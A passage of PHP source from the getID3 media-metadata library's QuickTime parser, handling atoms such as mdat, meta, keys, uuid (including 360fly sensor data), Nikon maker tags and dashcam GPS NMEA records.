					$atom_structure['scene_profile_level']    =       getid3_lib::BigEndian2Int(substr($atom_data, $offset, 1));
					$offset += 1;
					$atom_structure['audio_profile_id']       =       getid3_lib::BigEndian2Int(substr($atom_data, $offset, 1));
					$offset += 1;
					$atom_structure['video_profile_id']       =       getid3_lib::BigEndian2Int(substr($atom_data, $offset, 1));
					$offset += 1;
					$atom_structure['graphics_profile_level'] =       getid3_lib::BigEndian2Int(substr($atom_data, $offset, 1));
					$offset += 1;

					$atom_structure['num_iods_tracks'] = ($atom_structure['length'] - 7) / 6; // 6 bytes would only be right if all tracks use 1-byte length fields
					for ($i = 0; $i < $atom_structure['num_iods_tracks']; $i++) {
						$atom_structure['track'][$i]['ES_ID_IncTag'] =       getid3_lib::BigEndian2Int(substr($atom_data, $offset, 1));
						$offset += 1;
						$atom_structure['track'][$i]['length']       = $this->quicktime_read_mp4_descr_length($atom_data, $offset);
						//$offset already adjusted by quicktime_read_mp4_descr_length()
						$atom_structure['track'][$i]['track_id']     =       getid3_lib::BigEndian2Int(substr($atom_data, $offset, 4));
						$offset += 4;
					}

					$atom_structure['audio_profile_name'] = $this->QuicktimeIODSaudioProfileName($atom_structure['audio_profile_id']);
					$atom_structure['video_profile_name'] = $this->QuicktimeIODSvideoProfileName($atom_structure['video_profile_id']);
					break;

				case 'ftyp': // FileTYPe (?) atom (for MP4 it seems)
					$atom_structure['signature'] =                           substr($atom_data,  0, 4);
					$atom_structure['unknown_1'] = getid3_lib::BigEndian2Int(substr($atom_data,  4, 4));
					$atom_structure['fourcc']    =                           substr($atom_data,  8, 4);
					break;

				case 'mdat': // Media DATa atom
					// 'mdat' contains the actual data for the audio/video, possibly also subtitles

	/* due to lack of known documentation, this is a kludge implementation. If you know of documentation on how mdat is properly structed, please send it to info@getid3.org */

					// first, skip any 'wide' padding, and second 'mdat' header (with specified size of zero?)
					$mdat_offset = 0;
					while (true) {
						if (substr($atom_data, $mdat_offset, 8) == "\x00\x00\x00\x08".'wide') {
							$mdat_offset += 8;
						} elseif (substr($atom_data, $mdat_offset, 8) == "\x00\x00\x00\x00".'mdat') {
							$mdat_offset += 8;
						} else {
							break;
						}
					}
					if (substr($atom_data, $mdat_offset, 4) == 'GPRO') {
						$GOPRO_chunk_length = getid3_lib::LittleEndian2Int(substr($atom_data, $mdat_offset + 4, 4));
						$GOPRO_offset = 8;
						$atom_structure['GPRO']['raw'] = substr($atom_data, $mdat_offset + 8, $GOPRO_chunk_length - 8);
						$atom_structure['GPRO']['firmware'] = substr($atom_structure['GPRO']['raw'],  0, 15);
						$atom_structure['GPRO']['unknown1'] = substr($atom_structure['GPRO']['raw'], 15, 16);
						$atom_structure['GPRO']['unknown2'] = substr($atom_structure['GPRO']['raw'], 31, 32);
						$atom_structure['GPRO']['unknown3'] = substr($atom_structure['GPRO']['raw'], 63, 16);
						$atom_structure['GPRO']['camera']   = substr($atom_structure['GPRO']['raw'], 79, 32);
						$info['quicktime']['camera']['model'] = rtrim($atom_structure['GPRO']['camera'], "\x00");
					}

					// check to see if it looks like chapter titles, in the form of unterminated strings with a leading 16-bit size field
					while (($mdat_offset < (strlen($atom_data) - 8))
						&& ($chapter_string_length = getid3_lib::BigEndian2Int(substr($atom_data, $mdat_offset, 2)))
						&& ($chapter_string_length < 1000)
						&& ($chapter_string_length <= (strlen($atom_data) - $mdat_offset - 2))
						&& preg_match('#^([\x00-\xFF]{2})([\x20-\xFF]+)$#', substr($atom_data, $mdat_offset, $chapter_string_length + 2), $chapter_matches)) {
							list($dummy, $chapter_string_length_hex, $chapter_string) = $chapter_matches;
							$mdat_offset += (2 + $chapter_string_length);
							@$info['quicktime']['comments']['chapters'][] = $chapter_string;

							// "encd" atom specifies encoding. In theory could be anything, almost always UTF-8, but may be UTF-16 with BOM (not currently handled)
							if (substr($atom_data, $mdat_offset, 12) == "\x00\x00\x00\x0C\x65\x6E\x63\x64\x00\x00\x01\x00") { // UTF-8
								$mdat_offset += 12;
							}
					}

					if (($atomsize > 8) && (!isset($info['avdataend_tmp']) || ($info['quicktime'][$atomname]['size'] > ($info['avdataend_tmp'] - $info['avdataoffset'])))) {

						$info['avdataoffset'] = $atom_structure['offset'] + 8;                       // $info['quicktime'][$atomname]['offset'] + 8;
						$OldAVDataEnd         = $info['avdataend'];
						$info['avdataend']    = $atom_structure['offset'] + $atom_structure['size']; // $info['quicktime'][$atomname]['offset'] + $info['quicktime'][$atomname]['size'];

						$getid3_temp = new getID3();
						$getid3_temp->openfile($this->getid3->filename, $this->getid3->info['filesize'], $this->getid3->fp);
						$getid3_temp->info['avdataoffset'] = $info['avdataoffset'];
						$getid3_temp->info['avdataend']    = $info['avdataend'];
						$getid3_mp3 = new getid3_mp3($getid3_temp);
						if ($getid3_mp3->MPEGaudioHeaderValid($getid3_mp3->MPEGaudioHeaderDecode($this->fread(4)))) {
							$getid3_mp3->getOnlyMPEGaudioInfo($getid3_temp->info['avdataoffset'], false);
							if (!empty($getid3_temp->info['warning'])) {
								foreach ($getid3_temp->info['warning'] as $value) {
									$this->warning($value);
								}
							}
							if (!empty($getid3_temp->info['mpeg'])) {
								$info['mpeg'] = $getid3_temp->info['mpeg'];
								if (isset($info['mpeg']['audio'])) {
									$info['audio']['dataformat']   = 'mp3';
									$info['audio']['codec']        = (!empty($info['mpeg']['audio']['encoder']) ? $info['mpeg']['audio']['encoder'] : (!empty($info['mpeg']['audio']['codec']) ? $info['mpeg']['audio']['codec'] : (!empty($info['mpeg']['audio']['LAME']) ? 'LAME' :'mp3')));
									$info['audio']['sample_rate']  = $info['mpeg']['audio']['sample_rate'];
									$info['audio']['channels']     = $info['mpeg']['audio']['channels'];
									$info['audio']['bitrate']      = $info['mpeg']['audio']['bitrate'];
									$info['audio']['bitrate_mode'] = strtolower($info['mpeg']['audio']['bitrate_mode']);
									$info['bitrate']               = $info['audio']['bitrate'];
								}
							}
						}
						unset($getid3_mp3, $getid3_temp);
						$info['avdataend'] = $OldAVDataEnd;
						unset($OldAVDataEnd);

					}

					unset($mdat_offset, $chapter_string_length, $chapter_matches);
					break;

				case 'ID32': // ID3v2
					getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.tag.id3v2.php', __FILE__, true);

					$getid3_temp = new getID3();
					$getid3_temp->openfile($this->getid3->filename, $this->getid3->info['filesize'], $this->getid3->fp);
					$getid3_id3v2 = new getid3_id3v2($getid3_temp);
					$getid3_id3v2->StartingOffset = $atom_structure['offset'] + 14; // framelength(4)+framename(4)+flags(4)+??(2)
					if ($atom_structure['valid'] = $getid3_id3v2->Analyze()) {
						$atom_structure['id3v2'] = $getid3_temp->info['id3v2'];
					} else {
						$this->warning('ID32 frame at offset '.$atom_structure['offset'].' did not parse');
					}
					unset($getid3_temp, $getid3_id3v2);
					break;

				case 'free': // FREE space atom
				case 'skip': // SKIP atom
				case 'wide': // 64-bit expansion placeholder atom
					// 'free', 'skip' and 'wide' are just padding, contains no useful data at all

					// When writing QuickTime files, it is sometimes necessary to update an atom's size.
					// It is impossible to update a 32-bit atom to a 64-bit atom since the 32-bit atom
					// is only 8 bytes in size, and the 64-bit atom requires 16 bytes. Therefore, QuickTime
					// puts an 8-byte placeholder atom before any atoms it may have to update the size of.
					// In this way, if the atom needs to be converted from a 32-bit to a 64-bit atom, the
					// placeholder atom can be overwritten to obtain the necessary 8 extra bytes.
					// The placeholder atom has a type of kWideAtomPlaceholderType ( 'wide' ).
					break;


				case 'nsav': // NoSAVe atom
					// http://developer.apple.com/technotes/tn/tn2038.html
					$atom_structure['data'] = getid3_lib::BigEndian2Int(substr($atom_data,  0, 4));
					break;

				case 'ctyp': // Controller TYPe atom (seen on QTVR)
					// http://homepages.slingshot.co.nz/~helmboy/quicktime/formats/qtm-layout.txt
					// some controller names are:
					//   0x00 + 'std' for linear movie
					//   'none' for no controls
					$atom_structure['ctyp'] = substr($atom_data, 0, 4);
					$info['quicktime']['controller'] = $atom_structure['ctyp'];
					switch ($atom_structure['ctyp']) {
						case 'qtvr':
							$info['video']['dataformat'] = 'quicktimevr';
							break;
					}
					break;

				case 'pano': // PANOrama track (seen on QTVR)
					$atom_structure['pano'] = getid3_lib::BigEndian2Int(substr($atom_data,  0, 4));
					break;

				case 'hint': // HINT track
				case 'hinf': //
				case 'hinv': //
				case 'hnti': //
					$info['quicktime']['hinting'] = true;
					break;

				case 'imgt': // IMaGe Track reference (kQTVRImageTrackRefType) (seen on QTVR)
					for ($i = 0; $i < ($atom_structure['size'] - 8); $i += 4) {
						$atom_structure['imgt'][] = getid3_lib::BigEndian2Int(substr($atom_data, $i, 4));
					}
					break;


				// Observed-but-not-handled atom types are just listed here to prevent warnings being generated
				case 'FXTC': // Something to do with Adobe After Effects (?)
				case 'PrmA':
				case 'code':
				case 'FIEL': // this is NOT "fiel" (Field Ordering) as describe here: http://developer.apple.com/documentation/QuickTime/QTFF/QTFFChap3/chapter_4_section_2.html
				case 'tapt': // TrackApertureModeDimensionsAID - http://developer.apple.com/documentation/QuickTime/Reference/QT7-1_Update_Reference/Constants/Constants.html
							// tapt seems to be used to compute the video size [https://www.getid3.org/phpBB3/viewtopic.php?t=838]
							// * http://lists.apple.com/archives/quicktime-api/2006/Aug/msg00014.html
							// * http://handbrake.fr/irclogs/handbrake-dev/handbrake-dev20080128_pg2.html
				case 'ctts'://  STCompositionOffsetAID             - http://developer.apple.com/documentation/QuickTime/Reference/QTRef_Constants/Reference/reference.html
				case 'cslg'://  STCompositionShiftLeastGreatestAID - http://developer.apple.com/documentation/QuickTime/Reference/QTRef_Constants/Reference/reference.html
				case 'sdtp'://  STSampleDependencyAID              - http://developer.apple.com/documentation/QuickTime/Reference/QTRef_Constants/Reference/reference.html
				case 'stps'://  STPartialSyncSampleAID             - http://developer.apple.com/documentation/QuickTime/Reference/QTRef_Constants/Reference/reference.html
					//$atom_structure['data'] = $atom_data;
					break;

				case "\xA9".'xyz':  // GPS latitude+longitude+altitude
					$atom_structure['data'] = $atom_data;
					if (preg_match('#([\\+\\-][0-9\\.]+)([\\+\\-][0-9\\.]+)([\\+\\-][0-9\\.]+)?/$#i', $atom_data, $matches)) {
						@list($all, $latitude, $longitude, $altitude) = $matches;
						$info['quicktime']['comments']['gps_latitude'][]  = floatval($latitude);
						$info['quicktime']['comments']['gps_longitude'][] = floatval($longitude);
						if (!empty($altitude)) {
							$info['quicktime']['comments']['gps_altitude'][] = floatval($altitude);
						}
					} else {
						$this->warning('QuickTime atom "©xyz" data does not match expected data pattern at offset '.$baseoffset.'. Please report as getID3() bug.');
					}
					break;

				case 'NCDT':
					// https://exiftool.org/TagNames/Nikon.html
					// Nikon-specific QuickTime tags found in the NCDT atom of MOV videos from some Nikon cameras such as the Coolpix S8000 and D5100
					$atom_structure['subatoms'] = $this->QuicktimeParseContainerAtom($atom_data, $baseoffset + 4, $atomHierarchy, $ParseAllPossibleAtoms);
					break;
				case 'NCTH': // Nikon Camera THumbnail image
				case 'NCVW': // Nikon Camera preVieW image
				case 'NCM1': // Nikon Camera preview iMage 1
				case 'NCM2': // Nikon Camera preview iMage 2
					// https://exiftool.org/TagNames/Nikon.html
					if (preg_match('/^\xFF\xD8\xFF/', $atom_data)) {
						$descriptions = array(
							'NCTH' => 'Nikon Camera Thumbnail Image',
							'NCVW' => 'Nikon Camera Preview Image',
							'NCM1' => 'Nikon Camera Preview Image 1',
							'NCM2' => 'Nikon Camera Preview Image 2',
						);
						$atom_structure['data'] = $atom_data;
						$atom_structure['image_mime'] = 'image/jpeg';
						$atom_structure['description'] = $descriptions[$atomname];
						$info['quicktime']['comments']['picture'][] = array(
							'image_mime' => $atom_structure['image_mime'],
							'data' => $atom_data,
							'description' => $atom_structure['description']
						);
					}
					break;
				case 'NCTG': // Nikon - https://exiftool.org/TagNames/Nikon.html#NCTG
					getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.tag.nikon-nctg.php', __FILE__, true);
					$nikonNCTG = new getid3_tag_nikon_nctg($this->getid3);

					$atom_structure['data'] = $nikonNCTG->parse($atom_data);
					break;
				case 'NCHD': // Nikon:MakerNoteVersion  - https://exiftool.org/TagNames/Nikon.html
					$makerNoteVersion = '';
					for ($i = 0, $iMax = strlen($atom_data); $i < $iMax; ++$i) {
						if (ord($atom_data[$i]) <= 0x1F) {
							$makerNoteVersion .= ' '.ord($atom_data[$i]);
						} else {
							$makerNoteVersion .= $atom_data[$i];
						}
					}
					$makerNoteVersion = rtrim($makerNoteVersion, "\x00");
					$atom_structure['data'] = array(
						'MakerNoteVersion' => $makerNoteVersion
					);
					break;
				case 'NCDB': // Nikon                   - https://exiftool.org/TagNames/Nikon.html
				case 'CNCV': // Canon:CompressorVersion - https://exiftool.org/TagNames/Canon.html
					$atom_structure['data'] = $atom_data;
					break;

				case "\x00\x00\x00\x00":
					// some kind of metacontainer, may contain a big data dump such as:
					// mdta keys \005 mdtacom.apple.quicktime.make (mdtacom.apple.quicktime.creationdate ,mdtacom.apple.quicktime.location.ISO6709 $mdtacom.apple.quicktime.software !mdtacom.apple.quicktime.model ilst \01D \001 \015data \001DE\010Apple 0 \002 (data \001DE\0102011-05-11T17:54:04+0200 2 \003 *data \001DE\010+52.4936+013.3897+040.247/ \01D \004 \015data \001DE\0104.3.1 \005 \018data \001DE\010iPhone 4
					// https://xhelmboyx.tripod.com/formats/qti-layout.txt

					$atom_structure['version']   =          getid3_lib::BigEndian2Int(substr($atom_data, 0, 1));
					$atom_structure['flags_raw'] =          getid3_lib::BigEndian2Int(substr($atom_data, 1, 3));
					$atom_structure['subatoms']  = $this->QuicktimeParseContainerAtom(substr($atom_data, 4), $baseoffset + 8, $atomHierarchy, $ParseAllPossibleAtoms);
					//$atom_structure['subatoms']  = $this->QuicktimeParseContainerAtom($atom_data, $baseoffset + 8, $atomHierarchy, $ParseAllPossibleAtoms);
					break;

				case 'meta': // METAdata atom
					// https://developer.apple.com/library/mac/documentation/QuickTime/QTFF/Metadata/Metadata.html

					$atom_structure['version']   =          getid3_lib::BigEndian2Int(substr($atom_data, 0, 1));
					$atom_structure['flags_raw'] =          getid3_lib::BigEndian2Int(substr($atom_data, 1, 3));
					$atom_structure['subatoms']  = $this->QuicktimeParseContainerAtom($atom_data, $baseoffset + 8, $atomHierarchy, $ParseAllPossibleAtoms);
					break;

				case 'data': // metaDATA atom
					static $metaDATAkey = 1; // real ugly, but so is the QuickTime structure that stores keys and values in different multinested locations that are hard to relate to each other
					// seems to be 2 bytes language code (ASCII), 2 bytes unknown (set to 0x10B5 in sample I have), remainder is useful data
					$atom_structure['language'] =                           substr($atom_data, 4 + 0, 2);
					$atom_structure['unknown']  = getid3_lib::BigEndian2Int(substr($atom_data, 4 + 2, 2));
					$atom_structure['data']     =                           substr($atom_data, 4 + 4);
					$atom_structure['key_name'] = (isset($info['quicktime']['temp_meta_key_names'][$metaDATAkey]) ? $info['quicktime']['temp_meta_key_names'][$metaDATAkey] : '');
					$metaDATAkey++;

					if ($atom_structure['key_name'] && $atom_structure['data']) {
						@$info['quicktime']['comments'][str_replace('com.apple.quicktime.', '', $atom_structure['key_name'])][] = $atom_structure['data'];
					}
					break;

				case 'keys': // KEYS that may be present in the metadata atom.
					// https://developer.apple.com/library/mac/documentation/QuickTime/QTFF/Metadata/Metadata.html#//apple_ref/doc/uid/TP40000939-CH1-SW21
					// The metadata item keys atom holds a list of the metadata keys that may be present in the metadata atom.
					// This list is indexed starting with 1; 0 is a reserved index value. The metadata item keys atom is a full atom with an atom type of "keys".
					$atom_structure['version']       = getid3_lib::BigEndian2Int(substr($atom_data,  0, 1));
					$atom_structure['flags_raw']     = getid3_lib::BigEndian2Int(substr($atom_data,  1, 3));
					$atom_structure['entry_count']   = getid3_lib::BigEndian2Int(substr($atom_data,  4, 4));
					$keys_atom_offset = 8;
					for ($i = 1; $i <= $atom_structure['entry_count']; $i++) {
						$atom_structure['keys'][$i]['key_size']      = getid3_lib::BigEndian2Int(substr($atom_data, $keys_atom_offset + 0, 4));
						$atom_structure['keys'][$i]['key_namespace'] =                           substr($atom_data, $keys_atom_offset + 4, 4);
						$atom_structure['keys'][$i]['key_value']     =                           substr($atom_data, $keys_atom_offset + 8, $atom_structure['keys'][$i]['key_size'] - 8);
						$keys_atom_offset += $atom_structure['keys'][$i]['key_size']; // key_size includes the 4+4 bytes for key_size and key_namespace

						$info['quicktime']['temp_meta_key_names'][$i] = $atom_structure['keys'][$i]['key_value'];
					}
					break;

				case 'uuid': // user-defined atom often seen containing XML data, also used for potentially many other purposes, only a few specifically handled by getID3 (e.g. 360fly spatial data)
					//Get the UUID ID in first 16 bytes
					$uuid_bytes_read = unpack('H8time_low/H4time_mid/H4time_hi/H4clock_seq_hi/H12clock_seq_low', substr($atom_data, 0, 16));
					$atom_structure['uuid_field_id'] = implode('-', $uuid_bytes_read);

					switch ($atom_structure['uuid_field_id']) {   // http://fileformats.archiveteam.org/wiki/Boxes/atoms_format#UUID_boxes

						case '0537cdab-9d0c-4431-a72a-fa561f2a113e': // Exif                                       - http://fileformats.archiveteam.org/wiki/Exif
						case '2c4c0100-8504-40b9-a03e-562148d6dfeb': // Photoshop Image Resources                  - http://fileformats.archiveteam.org/wiki/Photoshop_Image_Resources
						case '33c7a4d2-b81d-4723-a0ba-f1a3e097ad38': // IPTC-IIM                                   - http://fileformats.archiveteam.org/wiki/IPTC-IIM
						case '8974dbce-7be7-4c51-84f9-7148f9882554': // PIFF Track Encryption Box                  - http://fileformats.archiveteam.org/wiki/Protected_Interoperable_File_Format
						case '96a9f1f1-dc98-402d-a7ae-d68e34451809': // GeoJP2 World File Box                      - http://fileformats.archiveteam.org/wiki/GeoJP2
						case 'a2394f52-5a9b-4f14-a244-6c427c648df4': // PIFF Sample Encryption Box                 - http://fileformats.archiveteam.org/wiki/Protected_Interoperable_File_Format
						case 'b14bf8bd-083d-4b43-a5ae-8cd7d5a6ce03': // GeoJP2 GeoTIFF Box                         - http://fileformats.archiveteam.org/wiki/GeoJP2
						case 'd08a4f18-10f3-4a82-b6c8-32d8aba183d3': // PIFF Protection System Specific Header Box - http://fileformats.archiveteam.org/wiki/Protected_Interoperable_File_Format
							$this->warning('Unhandled (but recognized) "uuid" atom identified by "'.$atom_structure['uuid_field_id'].'" at offset '.$atom_structure['offset'].' ('.strlen($atom_data).' bytes)');
							break;

						case 'be7acfcb-97a9-42e8-9c71-999491e3afac': // XMP data (in XML format)
							$atom_structure['xml'] = substr($atom_data, 16, strlen($atom_data) - 16 - 8); // 16 bytes for UUID, 8 bytes header(?)
							break;

						case 'efe1589a-bb77-49ef-8095-27759eb1dc6f': // 360fly data
							/* 360fly code in this block by Paul Lewis 2019-Oct-31 */
							/*	Sensor Timestamps need to be calculated using the recordings base time at ['quicktime']['moov']['subatoms'][0]['creation_time_unix']. */
							$atom_structure['title'] = '360Fly Sensor Data';

							//Get the UUID HEADER data
							$uuid_bytes_read = unpack('vheader_size/vheader_version/vtimescale/vhardware_version/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/', substr($atom_data, 16, 32));
							$atom_structure['uuid_header'] = $uuid_bytes_read;

							$start_byte = 48;
							$atom_SENSOR_data = substr($atom_data, $start_byte);
							$atom_structure['sensor_data']['data_type'] = array(
									'fusion_count'   => 0,       // ID 250
									'fusion_data'    => array(),
									'accel_count'    => 0,       // ID 1
									'accel_data'     => array(),
									'gyro_count'     => 0,       // ID 2
									'gyro_data'      => array(),
									'magno_count'    => 0,       // ID 3
									'magno_data'     => array(),
									'gps_count'      => 0,       // ID 5
									'gps_data'       => array(),
									'rotation_count' => 0,       // ID 6
									'rotation_data'  => array(),
									'unknown_count'  => 0,       // ID ??
									'unknown_data'   => array(),
									'debug_list'     => '',      // Used to debug variables stored as comma delimited strings
							);
							$debug_structure = array();
							$debug_structure['debug_items'] = array();
							// Can start loop here to decode all sensor data in 32 Byte chunks:
							foreach (str_split($atom_SENSOR_data, 32) as $sensor_key => $sensor_data) {
								// This gets me a data_type code to work out what data is in the next 31 bytes.
								$sensor_data_type = substr($sensor_data, 0, 1);
								$sensor_data_content = substr($sensor_data, 1);
								$uuid_bytes_read = unpack('C*', $sensor_data_type);
								$sensor_data_array = array();
								switch ($uuid_bytes_read[1]) {
									case 250:
										$atom_structure['sensor_data']['data_type']['fusion_count']++;
										$uuid_bytes_read = unpack('cmode/Jtimestamp/Gyaw/Gpitch/Groll/x*', $sensor_data_content);
										$sensor_data_array['mode']      = $uuid_bytes_read['mode'];
										$sensor_data_array['timestamp'] = $uuid_bytes_read['timestamp'];
										$sensor_data_array['yaw']       = $uuid_bytes_read['yaw'];
										$sensor_data_array['pitch']     = $uuid_bytes_read['pitch'];
										$sensor_data_array['roll']      = $uuid_bytes_read['roll'];
										array_push($atom_structure['sensor_data']['data_type']['fusion_data'], $sensor_data_array);
										break;
									case 1:
										$atom_structure['sensor_data']['data_type']['accel_count']++;
										$uuid_bytes_read = unpack('cmode/Jtimestamp/Gyaw/Gpitch/Groll/x*', $sensor_data_content);
										$sensor_data_array['mode']      = $uuid_bytes_read['mode'];
										$sensor_data_array['timestamp'] = $uuid_bytes_read['timestamp'];
										$sensor_data_array['yaw']       = $uuid_bytes_read['yaw'];
										$sensor_data_array['pitch']     = $uuid_bytes_read['pitch'];
										$sensor_data_array['roll']      = $uuid_bytes_read['roll'];
										array_push($atom_structure['sensor_data']['data_type']['accel_data'], $sensor_data_array);
										break;
									case 2:
										$atom_structure['sensor_data']['data_type']['gyro_count']++;
										$uuid_bytes_read = unpack('cmode/Jtimestamp/Gyaw/Gpitch/Groll/x*', $sensor_data_content);
										$sensor_data_array['mode']      = $uuid_bytes_read['mode'];
										$sensor_data_array['timestamp'] = $uuid_bytes_read['timestamp'];
										$sensor_data_array['yaw']       = $uuid_bytes_read['yaw'];
										$sensor_data_array['pitch']     = $uuid_bytes_read['pitch'];
										$sensor_data_array['roll']      = $uuid_bytes_read['roll'];
										array_push($atom_structure['sensor_data']['data_type']['gyro_data'], $sensor_data_array);
										break;
									case 3:
										$atom_structure['sensor_data']['data_type']['magno_count']++;
										$uuid_bytes_read = unpack('cmode/Jtimestamp/Gmagx/Gmagy/Gmagz/x*', $sensor_data_content);
										$sensor_data_array['mode']      = $uuid_bytes_read['mode'];
										$sensor_data_array['timestamp'] = $uuid_bytes_read['timestamp'];
										$sensor_data_array['magx']      = $uuid_bytes_read['magx'];
										$sensor_data_array['magy']      = $uuid_bytes_read['magy'];
										$sensor_data_array['magz']      = $uuid_bytes_read['magz'];
										array_push($atom_structure['sensor_data']['data_type']['magno_data'], $sensor_data_array);
										break;
									case 5:
										$atom_structure['sensor_data']['data_type']['gps_count']++;
										$uuid_bytes_read = unpack('cmode/Jtimestamp/Glat/Glon/Galt/Gspeed/nbearing/nacc/x*', $sensor_data_content);
										$sensor_data_array['mode']      = $uuid_bytes_read['mode'];
										$sensor_data_array['timestamp'] = $uuid_bytes_read['timestamp'];
										$sensor_data_array['lat']       = $uuid_bytes_read['lat'];
										$sensor_data_array['lon']       = $uuid_bytes_read['lon'];
										$sensor_data_array['alt']       = $uuid_bytes_read['alt'];
										$sensor_data_array['speed']     = $uuid_bytes_read['speed'];
										$sensor_data_array['bearing']   = $uuid_bytes_read['bearing'];
										$sensor_data_array['acc']       = $uuid_bytes_read['acc'];
										array_push($atom_structure['sensor_data']['data_type']['gps_data'], $sensor_data_array);
										//array_push($debug_structure['debug_items'], $uuid_bytes_read['timestamp']);
										break;
									case 6:
										$atom_structure['sensor_data']['data_type']['rotation_count']++;
										$uuid_bytes_read = unpack('cmode/Jtimestamp/Grotx/Groty/Grotz/x*', $sensor_data_content);
										$sensor_data_array['mode']      = $uuid_bytes_read['mode'];
										$sensor_data_array['timestamp'] = $uuid_bytes_read['timestamp'];
										$sensor_data_array['rotx']      = $uuid_bytes_read['rotx'];
										$sensor_data_array['roty']      = $uuid_bytes_read['roty'];
										$sensor_data_array['rotz']      = $uuid_bytes_read['rotz'];
										array_push($atom_structure['sensor_data']['data_type']['rotation_data'], $sensor_data_array);
										break;
									default:
										$atom_structure['sensor_data']['data_type']['unknown_count']++;
										break;
								}
							}
							//if (isset($debug_structure['debug_items']) && count($debug_structure['debug_items']) > 0) {
							//	$atom_structure['sensor_data']['data_type']['debug_list'] = implode(',', $debug_structure['debug_items']);
							//} else {
								$atom_structure['sensor_data']['data_type']['debug_list'] = 'No debug items in list!';
							//}
							break;

						default:
							$this->warning('Unhandled "uuid" atom identified by "'.$atom_structure['uuid_field_id'].'" at offset '.$atom_structure['offset'].' ('.strlen($atom_data).' bytes)');
					}
					break;

				case 'gps ':
					// https://dashcamtalk.com/forum/threads/script-to-extract-gps-data-from-novatek-mp4.20808/page-2#post-291730
					// The 'gps ' contains simple look up table made up of 8byte rows, that point to the 'free' atoms that contains the actual GPS data.
					// The first row is version/metadata/notsure, I skip that.
					// The following rows consist of 4byte address (absolute) and 4byte size (0x1000), these point to the GPS data in the file.

					$GPS_rowsize = 8; // 4 bytes for offset, 4 bytes for size
					if (strlen($atom_data) > 0) {
						if ((strlen($atom_data) % $GPS_rowsize) == 0) {
							$atom_structure['gps_toc'] = array();
							foreach (str_split($atom_data, $GPS_rowsize) as $counter => $datapair) {
								$atom_structure['gps_toc'][] = unpack('Noffset/Nsize', substr($atom_data, $counter * $GPS_rowsize, $GPS_rowsize));
							}

							$atom_structure['gps_entries'] = array();
							$previous_offset = $this->ftell();
							foreach ($atom_structure['gps_toc'] as $key => $gps_pointer) {
								if ($key == 0) {
									// "The first row is version/metadata/notsure, I skip that."
									continue;
								}
								$this->fseek($gps_pointer['offset']);
								$GPS_free_data = $this->fread($gps_pointer['size']);

								/*
								// 2017-05-10: I see some of the data, notably the Hour-Minute-Second, but cannot reconcile the rest of the data. However, the NMEA "GPRMC" line is there and relatively easy to parse, so I'm using that instead

								// https://dashcamtalk.com/forum/threads/script-to-extract-gps-data-from-novatek-mp4.20808/page-2#post-291730
								// The structure of the GPS data atom (the 'free' atoms mentioned above) is following:
								// hour,minute,second,year,month,day,active,latitude_b,longitude_b,unknown2,latitude,longitude,speed = struct.unpack_from('<IIIIIIssssfff',data, 48)
								// For those unfamiliar with python struct:
								// I = int
								// s = is string (size 1, in this case)
								// f = float

								//$atom_structure['gps_entries'][$key] = unpack('Vhour/Vminute/Vsecond/Vyear/Vmonth/Vday/Vactive/Vlatitude_b/Vlongitude_b/Vunknown2/flatitude/flongitude/fspeed', substr($GPS_free_data, 48));
								*/

								// $GPRMC,081836,A,3751.65,S,14507.36,E,000.0,360.0,130998,011.3,E*62
								// $GPRMC,183731,A,3907.482,N,12102.436,W,000.0,360.0,080301,015.5,E*67
								// $GPRMC,002454,A,3553.5295,N,13938.6570,E,0.0,43.1,180700,7.1,W,A*3F
								// $GPRMC,094347.000,A,5342.0061,N,00737.9908,W,0.01,156.75,140217,,,A*7D
								if (preg_match('#\\$GPRMC,([0-9\\.]*),([AV]),([0-9\\.]*),([NS]),([0-9\\.]*),([EW]),([0-9\\.]*),([0-9\\.]*),([0-9]*),([0-9\\.]*),([EW]?)(,[A])?(\\*[0-9A-F]{2})#', $GPS_free_data, $matches)) {
									$GPS_this_GPRMC = array();
									$GPS_this_GPRMC_raw = array();
									list(
										$GPS_this_GPRMC_raw['gprmc'],
										$GPS_this_GPRMC_raw['timestamp'],
										$GPS_this_GPRMC_raw['status'],
										$GPS_this_GPRMC_raw['latitude'],
										$GPS_this_GPRMC_raw['latitude_direction'],
										$GPS_this_GPRMC_raw['longitude'],
										$GPS_this_GPRMC_raw['longitude_direction'],
										$GPS_this_GPRMC_raw['knots'],
										$GPS_this_GPRMC_raw['angle'],
										$GPS_this_GPRMC_raw['datestamp'],
										$GPS_this_GPRMC_raw['variation'],
										$GPS_this_GPRMC_raw['variation_direction'],
										$dummy,
										$GPS_this_GPRMC_raw['checksum'],
									) = $matches;
									$GPS_this_GPRMC['raw'] = $GPS_this_GPRMC_raw;

									$hour   = substr($GPS_this_GPRMC['raw']['timestamp'], 0, 2);
									$minute = substr($GPS_this_GPRMC['raw']['timestamp'], 2, 2);
									$second = substr($GPS_this_GPRMC['raw']['timestamp'], 4, 2);
									$ms     = substr($GPS_this_GPRMC['raw']['timestamp'], 6);    // may contain decimal seconds
									$day    = substr($GPS_this_GPRMC['raw']['datestamp'], 0, 2);
									$month  = substr($GPS_this_GPRMC['raw']['datestamp'], 2, 2);
									$year   = (int) substr($GPS_this_GPRMC['raw']['datestamp'], 4, 2);
									$year += (($year > 90) ? 1900 : 2000); // complete lack of foresight: datestamps are stored with 2-digit years, take best guess
									$GPS_this_GPRMC['timestamp'] = $year.'-'.$month.'-'.$day.' '.$hour.':'.$minute.':'.$second.$ms;

									$GPS_this_GPRMC['active'] = ($GPS_this_GPRMC['raw']['status'] == 'A'); // A=Active,V=Void

									foreach (array('latitude','longitude') as $latlon) {
										preg_match('#^([0-9]{1,3})([0-9]{2}\\.[0-9]+)$#', $GPS_this_GPRMC['raw'][$latlon], $matches);
										list($dummy, $deg, $min) = $matches;
										$GPS_this_GPRMC[$latlon] = $deg + ($min / 60);
									}
									$GPS_this_GPRMC['latitude']  *= (($GPS_this_GPRMC['raw']['latitude_direction']  == 'S') ? -1 : 1);
									$GPS_this_GPRMC['longitude'] *= (($GPS_this_GPRMC['raw']['longitude_direction'] == 'W') ? -1 : 1);

									$GPS_this_GPRMC['heading']    = $GPS_this_GPRMC['raw']['angle'];
									$GPS_this_GPRMC['speed_knot'] = $GPS_this_GPRMC['raw']['knots'];
									$GPS_this_GPRMC['speed_kmh']  = $GPS_this_GPRMC['raw']['knots'] * 1.852;
									if ($GPS_this_GPRMC['raw']['variation']) {
										$GPS_this_GPRMC['variation']  = $GPS_this_GPRMC['raw']['variation'];
